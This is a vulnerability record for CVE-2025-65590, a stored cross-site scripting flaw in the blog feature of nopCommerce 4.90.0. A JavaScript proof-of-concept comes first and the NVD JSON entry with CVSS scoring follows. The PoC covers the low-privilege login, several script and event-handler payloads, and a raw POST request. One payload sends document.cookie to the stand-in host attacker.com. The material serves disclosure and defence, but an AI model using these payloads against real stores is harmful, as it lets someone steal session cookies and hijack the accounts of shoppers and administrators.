CVE-2025-65590

// CVE-2025-65590 PoC - nopCommerce 4.90.0 Blog XSS // This PoC demonstrates the stored XSS vulnerability in nopCommerce blog posts // Step 1: Authentication (low-privilege account required) const authPayload = { email: '[email protected]', password: 'password123' }; // Step 2: Create blog post with XSS payload const blogPostPayload = { title: 'Test Blog Post', body: '<script>console.log("XSS Triggered");</script>', // Alternative payloads: // '<img src=x onerror="fetch(\'http://attacker.com/steal?c=\'+document.cookie)">' // '<svg onload="alert(document.domain)">' // '<iframe src="javascript:alert(\'XSS\')">' tags: ['test'], displayOrder: 0, allowComments: false }; // Step 3: Send request to create blog post // POST /Admin/BlogPost/Create // Content-Type: application/x-www-form-urlencoded // When victims visit /blog/my-blog-post, the XSS will execute in their browser // Example HTTP request: /* POST /Admin/BlogPost/Create HTTP/1.1 Host: target.com Cookie: Nop.customer=xxx; Nop.admin=yyy Content-Type: application/x-www-form-urlencoded BlogPost.Title=<script>alert(document.cookie)</script>&BlogPost.Body=Test content&BlogPost.Tags=test */

{"cve": {"id": "CVE-2025-65590", "sourceIdentifier": "[email protected]", "published": "2025-12-16T19:15:58.730", "lastModified": "2025-12-19T16:42:56.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nopCommerce 4.90.0 is vulnerable to Cross Site Scripting (XSS) via the Blog posts functionality in the Content Management area."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:4.90.0:*:*:*:*:*:*:*", "matchCriteriaId": "1FC64557-EDFD-4460-8793-8C452638D782"}]}]}], "references": [{"url": "https://seclists.org/fulldisclosure/2025/Dec/17", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.nopcommerce.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://seclists.org/fulldisclosure/2025/Dec/17", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}